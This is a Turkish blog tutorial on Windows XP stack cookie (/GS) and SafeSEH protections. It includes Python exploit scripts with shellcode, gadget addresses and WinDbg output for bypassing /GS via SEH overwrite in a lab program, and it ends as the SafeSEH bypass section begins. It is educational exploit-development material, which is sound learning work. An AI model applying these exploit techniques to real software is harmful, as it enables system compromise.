Bugüne dek blogda yazdığım yazılarda herhangi bir koruma mekanizması ile uğraşmamıştık. Yani örneğin yazdığımız exploit her zaman çalışıyordu, geri dönüş adreslerimiz vesaire sabitti ve bir sorun teşkil etmiyordu, işimiz kolaydı. Fakat durum aslında öyle değil, neticede işletim sisteminiz sizi o kadar rahat bırakmamak için birtakım önlemler almış durumda. Biraz da bunlara yoğunlaşmaya karar verdim ve sanırım bu yazı bu serinin ilk yazısı olacak.

Dediğimiz gibi, işletim sisteminiz sizi zorlamak için bazı önlemler alıyor. Mesela bunları genel olarak şöyle sıralayabiliriz.

  1. Stack Cookie
  2. SafeSEH
  3. ASLR
  4. DEP

Genel bir bakış açısıyla bu 4 koruma ile ilgilenip, onları aşmaya çalışacağız diyebiliriz. Bu ilk yazıda sizlere Stack Cookie ve SafeSEH korumasının ne olduğunu, onları nasıl bypass edebileceğimizi göstermek istiyorum. Yazı boyunca kulladığım sistem Windows XP SP3 olacak. Sanırım uzunca bir yazı bizi bekliyor, teknik detaylarda boğulmadan önce yanınıza çay almanızı, arkaplanda didaktik olmayan bir müzik açmanızı öneriyorum.

Hatırlarsanız önceki yazılardan birinde fonksiyonlara girip çıkarken gerçekleşen birtakım işlemlerden bahsetmiş, bunlara function prologue ve function epilogue isimlerinin verildiğinden bahsetmiştik. Prologue fonksiyon çağırıldığında, epilogue ise fonksiyondan çıkarken gerçekleşiyordu. İşte Stack Cookie koruması derleyicide aktif edilirse, bu iki işleme temel stack overflow zafiyetlerini engellemek için ekstra birtakım kontrol kodları ekliyor. Peki bunu nasıl yapıyor ?

Öncelikle programınız çalıştığında 4 byte boyuta sahip bir ana cookie oluşturup, bu cookiei .data bölümünde saklanıyor. Function prologue işleminde bu ana cookie değeri, stackde bulunan return değeri ile yerel değişkenler arasına kopyalanıyor. Yani stackdeki görüntü şu şekilde oluyor :

-------------------
|                 |
|  Buffer         |
|                 |
|------------------
|  Cookie         |
|------------------
|  Kaydedilen EBP |
|------------------
|  Return Adresi  |
 ------------------

Ardından, fonksiyondan çıkılırken, yani epilogue işlemi çalıştırıldığı sırada bu ana cookie değeri kontrol ediliyor. Eğer bu değer bizim ana cookie değerimiz ile aynıysa program çalışmaya devam ediyor, fakat eğer farklıysa, yani bir şekilde stack overflow gerçekleşip bu değer değiştiyse, karşılaştırma başarısız oluyor ve cookie değeri değiştiği için program sonlandırılıyor. Yani örneklemek gerekirse eğer bir stack overflow zafiyeti exploit edilmeye çalışılırsa stackdeki durum şöyle olacağı için cookie değeri değişiyor, ve cookienin doğrulanması başarısız olduğundan mütevellit program sonlanıyor.

-------------------  A
|                 |  A
|  Buffer         |  A
|                 |  A
|------------------  A
|  Cookie         |  A  -> Cookie'nin değeri değişiyor
|------------------  A
|  Kaydedilen EBP |  A
|------------------  A
|  Return Adresi  |  A
 ------------------  A

Ayrıca /GS korumasının aktif olması için buffer parametresinin 5 byte ve üzeri bir değere sahip olması gerekiyor, aksi halde bu koruma performansı kötü yönde etkilememek için aktif olmuyor. Ayrıca bu koruma açıldığı zaman değişkenler üzerlerine yazılmasını engellemek amacıyla tekrar sıralanıyor ve daha yüksek adres değerlerine taşınıyor.

Peki Nasıl Çalışıyor ?

Öncelikle merak edenler olabilir, bu cookie değeri neye göre oluşturuluyor ? Cookie değeri bazı fonksiyonlardan dönen değerlerin XOR işlemine sokulmasıyla meydana geliyor. İnternet üzerinde durumu özetleyen kod parçasına ulaşabilirler…

Şimdi olayı iyice anlayabilmeniz adına basit bir örnek yapalım, ve stack cookienin mantığını anlayalım. Öncelikle zafiyet barındıran basit bir koda ihtiyacımız olacak, bunun için şuradaki programın biraz düzenlenip sadeleştirilmiş halini kullanacağız. Bu yazı boyunca kullanacağımız kaynak programlara şuradan ulaşabilirsiniz.

Şimdi, öncelikle prog1 adlı programda inceleme yapacağız, derleme işlemi için Visual C++ 2008 sürümünü kullanıyor olacağız. Öncelikle size bu /GS koruması ile derlenen ile /GS koruması olmadan derlenen program arasındaki farkı göstermek istiyorum. İlk olarak Project->Properties->Code Generation kısmındaki Buffer Security Check kısmını NO yaparak derlenen programdaki pr fonksiyonu çağırıldığında çalıştırılan kısmı görelim.

0:000> uf pr
  004112e0 55              push    ebp
  004112e1 8bec            mov     ebp,esp
  004112e3 81ec34020000    sub     esp,234h
  004112e9 53              push    ebx
  004112ea 56              push    esi
  004112eb 57              push    edi
  004112ec 66a13c474100    mov     ax,word ptr [prog1!'string' (0041473c)]
  004112f2 6689850cfeffff  mov     word ptr [ebp-1F4h],ax
  004112f9 68f2010000      push    1F2h
  004112fe 6a00            push    0
  00411300 8d850efeffff    lea     eax,[ebp-1F2h]
  00411306 50              push    eax
  00411307 e849fdffff      call    prog1!ILT+80(_memset) (00411055)
  0041130c 83c40c          add     esp,0Ch
  0041130f 8b4508          mov     eax,dword ptr [ebp+8]
  00411312 50              push    eax
  00411313 8d8d0cfeffff    lea     ecx,[ebp-1F4h]
  00411319 51              push    ecx
  0041131a e863fdffff      call    prog1!ILT+125(_strcpy) (00411082)
  0041131f 83c408          add     esp,8
  00411322 5f              pop     edi
  00411323 5e              pop     esi
  00411324 5b              pop     ebx
  00411325 8be5            mov     esp,ebp
  00411327 5d              pop     ebp
  00411328 c3              ret

Gördüğünüz üzre pr fonksiyonu çalıştığında standart bir şekilde, ek bir koruma olmadan çağrı gerçekleşiyor. Şimdi Buffer Security Check ayarını Yes olarak değiştirip aynı kısma tekrar göz atalım.

0:000> uf pr
  004112e0 55              push    ebp
  004112e1 8bec            mov     ebp,esp
  004112e3 81ec38020000    sub     esp,238h
  004112e9 a114604100      mov     eax,dword ptr [prog1!__security_cookie (00416014)]
  004112ee 33c5            xor     eax,ebp
  004112f0 8945fc          mov     dword ptr [ebp-4],eax
  004112f3 53              push    ebx
  004112f4 56              push    esi
  004112f5 57              push    edi
  004112f6 66a13c474100    mov     ax,word ptr [prog1!'string' (0041473c)]
  004112fc 66898508feffff  mov     word ptr [ebp-1F8h],ax
  00411303 68f2010000      push    1F2h
  00411308 6a00            push    0
  0041130a 8d850afeffff    lea     eax,[ebp-1F6h]
  00411310 50              push    eax
  00411311 e83ffdffff      call    prog1!ILT+80(_memset) (00411055)
  00411316 83c40c          add     esp,0Ch
  00411319 8b4508          mov     eax,dword ptr [ebp+8]
  0041131c 50              push    eax
  0041131d 8d8d08feffff    lea     ecx,[ebp-1F8h]
  00411323 51              push    ecx
  00411324 e859fdffff      call    prog1!ILT+125(_strcpy) (00411082)
  00411329 83c408          add     esp,8
  0041132c 5f              pop     edi
  0041132d 5e              pop     esi
  0041132e 5b              pop     ebx
  0041132f 8b4dfc          mov     ecx,dword ptr [ebp-4]
  00411332 33cd            xor     ecx,ebp
  00411334 e8e0fcffff      call    prog1!ILT+20(__security_check_cookie(00411019)
  00411339 8be5            mov     esp,ebp
  0041133b 5d              pop     ebp
  0041133c c3              ret

Kodları karşılaştırırsanız /GS koruması ile prologue işlemine ilaveten yeni kontroller geldiğini göreceksiniz. Ayrıca dediğim gibi /GS koruması karşılaştırmayı yapmak için epilogue işlemine de -yani fonksiyondan çıkma sırasında çalışacak- ilave kodlar ekliyor.

Basitçe iki kodu karşılaştıralım. Öncelikle prologue kısmında ne değişikler olmuş dersek genel olarak şu kodlar ilave edildi diyebiliriz.

004112e3 81ec38020000    sub     esp,238h
004112e9 a114604100      mov     eax,dword ptr [prog1!__security_cookie (00416014)]
004113d3 33c5            xor     eax,ebp
004113d5 8945fc          mov     dword ptr [ebp-4],eax

Görüldüğü üzre öncelikle 568 byte ayrılıyor, ardından oluşturulan cookie değeri EAX yazmacına alınıyor. Cookie EBP ile XOR’lanıp, yığında return değerinin hemen altında saklanıyor.

Epilogue kısmına geçecek olursak şu değişiklikler göze çarpıyor.

0041132f 8b4dfc          mov     ecx,dword ptr [ebp-4]
00411332 33cd            xor     ecx,ebp
00411334 e8e0fcffff      call    prog1!ILT+20(__security_check_cookie (00411019)

Buradaysa öncelikle yığında saklanan cookie değeri ECX yazmacına alınıyor. Ardından prologue’de olduğu gibi EBP ile bir XOR işlemi yapılıyor, ve son olarak cookie’nin doğruluğunu kontrol edecek olan fonksiyon çağırılıyor. Bu doğruluk kontrolünün ardından eğer cookie değeri değişmişse program sonlandırılıyor, aksi halde çalışmaya devam ediyor.

Şimdi öncelikle /GS kapalı şekilde derlediğimiz programımız için exploit yazalım. Yerelde 200 numaralı portu dinleyen programa basit bir python kodu ile 1000 karakterlik bir metasploit pattern gönderelim ardından WinDbg üzerinde exploiting işlemini gerçekleştirelim.

import struct
from socket import *

host = "localhost"
port = 200
adres = (host,port)

Baglanti = socket(AF_INET,SOCK_STREAM)
Baglanti.connect(adres)

cokertkaarsim = "Aa0Aa12Af3Af4Af5Af6Af7Af3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3A***snipped"

Baglanti.send(cokertkaarsim)
Baglanti.close()

Kodu çalıştırmadan önce kullanacağımız Windbg için yazılmış olan byakugan eklentisini kurmayı unutmayın. Eklentiyi metasploit’in github sayfasında bulabilirsiniz. Kurduğunuzu varsayıp devam ediyorum. Kodu çalıştırdıktan sonra program Windbg’da çökecek. Ardından byakugan’ı kullanarak bize gereken offset adresini bulacağız.

(390.a78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e00c ebx=7ffd4000 ecx=0012ee34 edx=00000000 esi=00bff790
edi=00bff6ee eip=41387141 esp=0012e208 ebp=37714136
41387141 ??              ???
0:000> !load byakugan
0:000> !pattern_offset 1000
  [Byakugan] Control of ebp at offset 500.
  [Byakugan] Control of eip at offset 504.

Gördüğünüz üzre byakugan EIP yazmacı üzerine 504 bytedan sonra yazıldığını söylüyor. Şimdi geriye kalan tek şey stackte yer edinecek olan shell kodumuza atlamak için gereken instructionı bulmak. Onu da Windbg kullanıp önceki yazılarda yaptığımız şekilde buluyoruz. Bu örneğimizde ben push esp, ret metodunu kullanacağım.

0:000> lm
  start    end        module name
  00400000 0041a000   prog1  
  10200000 10323000   MSVCR90D #Bu modülde arama yapacağız
  ***snipped***
0:001> a
  7c90120f push esp
  push esp
  7c901210 ret
  ret
  7c901211 

0:001> u 7c90120f
ntdll!DbgBreakPoint+0x1:
  7c90120f 54              push    esp
  7c901210 c3              ret
0:001> s 10200000 10323000 54 c3 #MSVCR90D içerisinde arıyoruz.
  102f0b58  54 c3 66 0f 73 d0 20 66-0f 7e c1 81 f9 00 00 f0  T.f.s. f.~......
  102f0bef  54 c3 b9 f4 03 00 00 66-0f 6e d9 66 0f 54 05 20  T......f.n.f.T. 
  102f6ef5  54 c3 66 0f 2e c3 7a 15-8b 44 24 08 c1 e8 1f dd  T.f...z..D$.....
0:001> u 102f0b58
MSVCR90D!_libm_sse2_powf+0x208:
  102f0b58 54              push    esp
  102f0b59 c3              ret

Netice olarak 102f0b58 adresine aradığım iki instructionı buldum. Şimdi exploit’i buna göre düzenleyip tekrar çalıştıralım.

import struct
from socket import *

host = "localhost"
port = 200
adres = (host,port)

Baglanti = socket(AF_INET,SOCK_STREAM)
Baglanti.connect(adres)

boyut = 1000
cokertkaarsim = "A" * 504
cokertkaarsim += struct.pack('<I', 0x102f0b58) #push esp, ret MSVCR90D.dll
cokertkaarsim += "\x90" * 24 
cokertkaarsim += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"      
cokertkaarsim += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
cokertkaarsim += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
cokertkaarsim += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
cokertkaarsim += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
cokertkaarsim += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
cokertkaarsim += "\x45\x81\x3e\x43\x72\x65\x61\x75"
cokertkaarsim += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
cokertkaarsim += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
cokertkaarsim += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
cokertkaarsim += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
cokertkaarsim += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
cokertkaarsim += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
cokertkaarsim += "\x53\x53\x53\x53\x52\x53\xff\xd7"
cokertkaarsim += "D" * (boyut-len(cokertkaarsim )) #D'ye bakip stackdeki kodu gorebilirsiniz.

Baglanti.send(cokertkaarsim)
Baglanti.close()

Exploiti çalıştırdığınızda çökme gerçekleşecek ve bizim ünlü hesap makinesi sizi karşılayacaktır. Buraya kadar tamam, bilinen stackoverflow açığını exploit ettik. Şimdi asıl konuya girelim, evet, buraya kadar aslında asıl konumuzda bile değildik, yalnızca yine bir programın exploit edilişini inceledik! Öncelikle bu cookie değerinin statik olup olmadığını bir test edelim. Acaba program her açıldığında bu cookie değeri aynı mı oluyordur ? Ne diyorsunuz ?

Şimdi yapacağımız şey aynı expoiti bu defa /GS koruması açık olan programımızda denemek! Hadi bakalım ne olacak.

Gördüğünüz gibi program crash oldu fakat exploitimiz çalışmadı. Şimdi neler olup bittiğini inceleyelim bakalım. Öncelikle bunun için bizim stack cookie kontrol edildiği sırada kullanılan fonksiyona breakpoint koyalım.

0:000> bp prog1!__security_check_cookie
0:000> bl
 0 e 00411650     0001 (0001)  0:**** prog1!__security_check_cookie

Programı ve akabinde exploiti çalıştırdığımızda program cookie’nin karşılaştırıldığı kısımda duracak. Şimdi cookie değerimizi öğrenelim bakalım neymiş ?

Breakpoint 0 hit
eax=0012e004 ebx=7ffd6000 ecx=4153a0bd edx=00000000 esi=00796b12
edi=00bef554 eip=00411650 esp=0012dfc0 ebp=0012e1fc
prog1!__security_check_cookie:
00411650 3b0d00604100    cmp     ecx,dword ptr [prog1!__security_cookie (00416000)] ds:0023:00416000=376ba7b6
0:000> dd 00416000
  00416000  376ba7b6 c8945849 00000000 00000000
  00416010  fffffffe 00000001 ffffffff ffffffff
  00416020  00000000 00000000 00000000 00000000

Buradan anlıyoruz ki bizim cookie değerimiz 376ba7b6. Şimdi aynı adımları tekrar ederek cookie değerinin değişip değişmediğini sınayalım. Programı ve exploiti tekrardan çalıştırıyoruz.

Breakpoint 0 hit
eax=0012e004 ebx=7ffdc000 ecx=4153a0bd edx=00000000 esi=00796b12
edi=00bef554 eip=00411650 esp=0012dfc0 ebp=0012e1fc
prog1!__security_check_cookie:
00411650 3b0d00604100    cmp     ecx,dword ptr [prog1!__security_cookie (00416000)] ds:0023:00416000=a6a86570
0:000> dd 00416000
  00416000  a6a86570 59579a8f 00000000 00000000
  00416010  fffffffe 00000001 ffffffff ffffffff
  00416020  00000000 00000000 00000000 00000000
  00416030  00000000 00000000 00000000 00000000

Bu defa cookie değerimiz a6a86570 olmuş. Bu demektir ki stack cookie koruması olan bir programı exploit ederken programı inceleyip, cookie değerini not edip exploiti ona göre yazmak bir şeyi değiştirmiyor çünkü cookie değeri aslında dinamik bir değer ve program her çalıştığında bu değer değişiyor. Fakat yine de bu durumla ilgili istisnai bir güvenlik bildirisi de yok değil. (MS06-040)

Öncelikle bu olayı teoride biraz açıklayalım. Bir hata oluşumunu kullanarak Stack cookie nasıl atlatılabilir ki ? Şöyle düşünün, exploitiniz çalışmak için ilerliyor. Ve fonksiyondan çıkış yani epilogue işlemleri gerçekleştiği sırada bir de stack cookie denetleniyordu, değil mi ? Peki ya bu cookie doğrulanmadan önce bir hata meydana gelirse ? Ve siz o hata üzerinden SEH kullanarak programın akışını dilediğiniz yere yönlendirirseniz ? Sanırım anladınız. Oldukça basit fakat etkili bir yöntem. Bu yöntemi uygulamak için yine kullandığımız programı değiştiriyor ve içerisinde iki adet strcpy olan bir program kullanıyoruz. Bu sayede SEH üzerine yazabileceğiz ve SEH kullanarak bypass yapabileceğiz. Programı önceki indirme linki ile indirdiğiniz dosya içerisinde sbypass ismi ile bulabilirsiniz.

Exploitin Yazılması

Programın zafiyet içeren kaynak kodu şu şekilde gösterilebilir.

void seh(char *recvbuf) {
	char sendBuf[512];
	_try 
	{
		strcpy(sendBuf,recvbuf);	
		if(sendBuf[0] == '\x41') {
			   //Var olmayan adrese yazmaya calisarak
			   //bi exception olusturuluyor
			   int* p = 0x00000000;   
			   *p = 10;
		}	
	} 
	_except (EXCEPTION_EXECUTE_HANDLER) 
	{
		printf("Inside Exception Handler");
	}	    
}

Gördüğünüz üzre zafiyete sebebiyet veren strcpy() fonksiyonu var ve herhangi bir uzunluk kontrolü yapılmamış. Şimdi programı header bilgisinde yazdığı biçimde derleyelim ardından exploit işlemine geçelim. Öncelikle programı Windbg ile açıyoruz açarken Şimdi programımıza şu python scriptini temel olarak kullanarak 1000 tane A karakteri gönderelim bakalım.

#!/usr/bin python
# -*- coding:utf-8 -*-

import struct
from socket import *

host = "localhost"
port = 8888
adres = (host,port)

Baglanti = socket(AF_INET,SOCK_STREAM)
Baglanti.connect(adres)

cokertkaarsim = "A" * 1000

Baglanti.send(cokertkaarsim)
Baglanti.close()

Göndermeden önce tabii ki programı Windbg ile açıyoruz. Ardından programı g komutu ile çalıştırıp paketi gönderiyoruz. Akabinde çökme gerçekleşecek ve biz de seh’in durumunu kontrol edeceğiz.

(740.e74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=7ffdf000 ecx=0035449c edx=00000041 esi=01f6f798
edi=01f6f6ee eip=5353105f esp=0012fb80 ebp=0012fda8 
image53530000+0x105f:
5353105f c7000a000000    mov     dword ptr [eax],0Ah  ds:0023:00000000=????????
0:000> !exchain
  0012fd98: 41414141
  Invalid exception stack at 41414141

Görüldüğü üzre EIP üzerinde hakimiyetimiz olmasa da SEH üzerine yazmayı başardık. Bu da demektir ki buradan yürürüz hehe. Şimdi, yavaş yavaş bypass edilmesi kısmına gelmeye çalışıyorum fakat açıklanması gereken yerler çok fazla bu yüzden bir türlü gelemedim. Burada SEH’in neler yaptığını anlamak isteyen arkadaşlarımız önceki SEH yazısına bakabilirler, yahut yorum ile anlamadığınız kısımları belirtirseniz yardımcı olmaya çabalarım. Önceki yazıda SEH’in nasıl devreye girdiğini, üzerine yazdığımızda ne elde ettiğimizi, SEH’i kullanarak nasıl program akışını değiştirebileceğimizi ve buna benzer diğer şeyleri öğrenebilirsiniz. Yine de genel olarak SEH üzerine yazıldığında neler olduğunu kısaca bir resim üzerinde görelim.

Burada resimde gördüğünüz üzre strycpy() bizim SE Handler üzerine yazıyor. Stack’e bakarsanız yazmaya devam ettiğimiz taktirde SEH’in üzerine yazdığımız için tamamen değişeceğini görebilirsiniz. Bu da demektir ki programın akışını yönlendirebiliriz. Bunun ardından kaynak kodun içerisindeki hatalı pointer kullanımı geliyor. Bakalım:

MOV DWORD PTR SS:[EBP-21C],0   ;EBP-21C(0012FB8C) adresinde 4 byte sıfırlandı
MOV EAX,DWORD PTR SS:[EBP-21C] ;Bu sıfırlanan 4 byte değeri EAX registerina alındı
MOV DWORD PTR DS:[EAX],0A      ;EAX yazmacında bulunan adrese 0A verisi yazılmaya çalışılıyor

Görüldüğü gibi, EAX registerına alınan 00000000 adresine bir veri saklanmaya çalışılıyor. Haliyle program burada çöküyor ve istisna oluştuğu için exception handler devreye giriyor.

Şimdi yavaş yavaş SEH kullanarak Stack Cookie korumasının atlatılması kısmına giriş yapıyoruz. Öncelikle bu programın SEH exploitinin yazalım, ardından programı /GS koruması ile derleyip oradan devam edeceğiz. (Unutmadan ekleyeyim, programı /SAFESEH:NO olarak derliyoruz, aksi halde exploit edemeyiz! Şimdilik tabii.) SEH exploitini yazabilmek adına öncelikle metasploit yahut Immunity debugger ile 1000 karakter uzunluğunda bir pattern oluşturalım, ardından bunu python scriptimize ekleyelim ve akabinde Windbg yardımıyla debug ederek !exchain komutu ile SEH üzerine yazılan değerin byakugan eklentisi yardımıyla offsetini bulalım. (Kütüphanedeki bayan, lütfen ekranıma bakmayı bırakın, utanıyorum. Sevgiler.)

0:000> g
(f94.1a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=35724134 edx=7c9032bc esi=00000000
edi=00000000 eip=35724134 esp=0012f3e0 ebp=0012f400
35724134 ??              ???
  0:000> !exchain
  0012f3f4: ntdll!ExecuteHandler2+3a (7c9032bc)
  0012f7c4: ntdll!ExecuteHandler2+3a (7c9032bc)
  0012fd98: 35724134
  Invalid exception stack at 72413372
0:000> !pattern_offset 1000
  [Byakugan] Control of ecx at offset 524.
  [Byakugan] Control of eip at offset 524.

520 bayttan sonrası SE handler üzerine yazıyor demek ki. Onun ardından da Next SEH geliyor. Klasik SEH exploitlerinde nasıl oluyordu hatırlamaya çalışın. Biz SE Handler üzerine pop pop ret üçlüsünü, Next SEH üzerine de shellcodea atlayacak jmp instructionını yazıyorduk değil mi ? Pekala, o zaman haydi yapalım bakalım. Öncelikle 06 byte jump kodumuzun opcodeu eb 06 idi. Bunu şu şekilde hex halinde ve iki nop ekleyerek yazıyorduk. \xeb\x06\x90\x90 Şimdi bir de pop pop ret üçlüsünü bulmamız gerek. Bunun için Immunity Debugger’da CTRL+S kısayolu ile (Find Sequence of commands) pop r32 pop 32 ret şeklinde bir arama yapalım.

Görüldüğü üzere program 535313C8 adresinde pop pop ret üçlüsünü buldu. Bu değerler kaynak koda bakarsanız eğer inline assembly ile eklenen değerler. Bu değerleri exploit yazmak için kullanıyoruz. O halde exploitmizin gövdesi şu şekilde olacak demektir:

cokertkaarsim = "A" * 520
cokertkaarsim += "\xeb\x06\x90\x90"					   #6 byte jump
cokertkaarsim += struct.pack('<I', 0x535313c8)         #pop pop ret 
cokertkaarsim += "\x90" * 24 
cokertkaarsim += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"    #calc.exe shellcode
cokertkaarsim += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
cokertkaarsim += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
cokertkaarsim += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
cokertkaarsim += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
cokertkaarsim += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
cokertkaarsim += "\x45\x81\x3e\x43\x72\x65\x61\x75"
cokertkaarsim += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
cokertkaarsim += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
cokertkaarsim += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
cokertkaarsim += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
cokertkaarsim += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
cokertkaarsim += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
cokertkaarsim += "\x53\x53\x53\x53\x52\x53\xff\xd7"

Exploiti çalıştırdıktan sonra hesap makinesinin çalışacağını görebilirsiniz. Immunity debugger üzerinde pop pop ret adresinize breakpoint koyarsanız ve ardından kodu incelerseniz olanları daha detaylı görebilirsiz. Örneğin aşağıdaki şekilde pop pop ret üçlüsüne gelmiş durumdayız, iki pop instructionu ardından ret ile stackden bizim 06 byte jump kodumuzu EIP’e alarak shellcodedan devam edecek.

Pekala, şimdi exploiti de yazdık. Şimdi programı tekrar derliyoruz, fakat bu defa /GS- seçeneğini cl’den kaldırıyoruz. Bu sayede stack cookie koruması aktif olacak. Ardından az önce kullandığımız exploit’i tekrardan çalıştırıyoruz. Çalıştırdık mı ? Çalışmadı. Evet, bir şeyler değişti demek ki. Şimdi bunun üzerine konuşalım biraz da. Ardından bu exploiti /GS korumasını atlatacak şekilde düzenleyelim. Şimdi bu konuda söyleyeceklerim sizi biraz şaşırtabilir, zira bunca şey okudunuz fakat bu korumayı geçmek için aslında yapılması gereken şey çok basit. Yapmamız gereken tek şey exploiti yeniden yazmak. Değişen adresleri tekrar düzeltmek, bu kadar! Fakat, benim için asıl önemli olan bunun nasıl olduğunu size anlatabilmek. Yani bu yazı aslında çok kısa bir şekilde de bu olayı anlatabilirdi. İki exploit koyup karşılaştırın diyerek de bu açığı anlatabilirdim, fakat o zaman biraz ezberci sisteme uyuyoruz. Ben mantığını tam olarak anlatabilmeyi umuyorum.

Neyse, şimdi bu nasıl böyle oldu ? Aslında olan şey sahiden basit bir mantık üzerine kurulu. Öncelikle programın kaynak kodunu hatırlayalım:

void seh(char *recvbuf) {
	char sendBuf[512];
	_try 
	{
		strcpy(sendBuf,recvbuf);	
		if(sendBuf[0] == '\x41') {
			   //Var olmayan adrese yazmaya calisarak
			   //bi exception olusturuluyor
			   int* p = 0x00000000;   
			   *p = 10;
		}	
	} 
	_except (EXCEPTION_EXECUTE_HANDLER) 
	{
		printf("Inside Exception Handler");
	}	

Şimdi, stack cookie koruması nasıl çalışıyordu ? Fonksiyonun giriş ve çıkışına birtakım kontroller koyuyordu değil mi ? Başka cookie’yi stackte saklıyor, fonksiyondan çıkarken de doğruluğunu kontrol ediyordu. Eğer doğruysa program devam ediyor, bozulmuşsa bir exploiting denemesi oluyor diyor ve programı sonlandırıyordu. Peki, ya fonksiyondan çıkış gerçekleşmeden önce fonksiyondan çıkılırsa ? Bu sayede cookie kontrolünü atlamış olmaz mıyız ? Aynen öyle. İşte bu bypass yönteminin mantığı budur. Bakın strycpy() fonksiyonundan sonra bir exception oluşması için var olmayan bir adrese tanımlama yapmaya çalıştık. Bu sayede fonksiyondan çıkmadan evvel SEH devreye girdi, biz de SEH’i kontrol edebildiğimiz için programın akışını değiştirdik.

Şimdi az önceki adımları tekrarlayarak exploiti baştan yazabilirsiniz. Bunu ben yazmıyorum buraya zira çok fazla uzayacak yazı, bu nedenle siz yaparsanız hem sizin için hem yazının uzunluğu adına daha faydalı olacak. Ben yine de /GS açık iken gerekli olan exploit’in değişen kısımlarını buraya yazıyorum, fakat kendiniz bunu bulmanız sizin için çok daha yararlı olacaktır.

cokertkaarsim = "A" * 528                        #520 -> 528 oldu
cokertkaarsim += "\xeb\x06\x90\x90"
cokertkaarsim += struct.pack('<I', 0x535313c8)   #0x535313c8 -> 0x535313f8 oldu

Şu kısacık kod parçasının mantığını anlatabilmek adına bolca şeyler yazdım, umarım buraya kadar yararlı olmuştur. Fakat, henüz bitmedi. Çayları tazeleyin, müziği daha sakin bir müziğe alın; devam ediyoruz…

SafeSEH Nedir ?

Evet, şimdi sıra SafeSEH arkadaşımıza geldi. Buraya kadar gördüğünüz üzere çoğu koruma birbirine bağlı bir iplik gibi. Stack Cookieleri geçmek için SEH tabanlı exploit yöntemini, SEH’i exploit etmek için Stack tabanlı exploit etme yöntemini bilmeniz gerekiyor gibi. SafeSEH dediğimiz arkadaş da bu durumu aynen devam ettiriyor. İsminden de anlaşılabileceği gibi bu koruma SEH exploitleri engellemek amacıyla geliştirilmiş bir koruma. Bu koruma çalıştırılabilir dosyalarda, dll dosyalarında kullanılabiliyor.

Temel mantığı yine oldukça basit, bu korumayı aktif ettiğinizde dosyanızın içine bilinen exception handlerların listesi tutulmaya başlanıyor, ve bir exception oluştuğunda SEH zinciri içerisindeki adresler ntdll.dll içerisinde bulunan exception dispatcher aracılığıyla bu liste ile karşılaştırılıyor. Bu sayede bilinmeyen bir adresteki handler çalıştırılmamış, haliyle exploit engellenmiş oluyor. Dediğimiz gibi, bu kontrolleri ntdll.dll içerisindeki KiUserExceptionDispatcher fonksiyonu gerçekleştiriyor, ayrıca bu fonksiyon exception handler’da bulunan kodun stack’i gösterip göstermediğini de kontrol ediyor, bu sayede direk olarak shellcodea atlamayı da engelliyor. Bu kontrolü ise TEB yapısını kullarak yapıyor, TEB yapısından stack’in en üst ve en alt adres değerlerini alarak exception handler adresinin bu aralıkta olup olmadığını kontrol ediyor. Yani exception handler adresi stacki gösteriyorsa böylece çalışması engellenmiş oluyor. Peki ya bu adres yüklenen modullerin dışında ve SafeSEH koruması kapalı ise ne oluyor ? İşte o zaman bir şey olmuyor. Biz de bu küçük ayrıntıyı kullanacağız birazdan.

Şimdi, SafeSEH’i geçebilmek için bazı yöntemler mevcut onlara bir göz atalım bakalım.

SafeSEH Korumasının Atlatılması

Bir program çalıştığında doğal olarak onun kullandığı modüller de hafızaya alınır. SEH exploitlerini çalıştırırken bildiğiniz üzere bu modüllerde yahut programın kendisinde pop pop ret üçlüsünü bularak sömürme işlemini gerçekleştiriyorduk. İşin içine SafeSEH girince işler değişiyor, zira bu modüller ve program SafeSEH korumalı olduğu zaman bahsettiğimiz kontroller yüzünden exploiti çalıştıramıyoruz. Fakat, pop pop ret üçlüsünü yalnızca buralarda aramak zorunda değiliz. Örneğin yine hafızada olan bir sistem modülünde bu adresleri bulabiliriz. Örneğin Windows XP üzerinde hafızada olan bir modülde de bu adresi bulabiliriz, ve eğer o modül SafeSEH kapalıysa bu adresi exploitde kullanabiliriz. Fakat şöyle bir şey var, o zaman exploitinizin alanı küçülmüş olacak. Çünkü statik dosyalar sistemden sisteme değişebiliyor. Yani Windows XP’de hafızada olan bir modül, 7’de olmayabilir. Bu da demektir ki yazdığınız exploit yalnızca belirli bir işletim sisteminde çalışabilir.

SafeSEH Korumasının Zafiyetli Modül ile Atlatılması

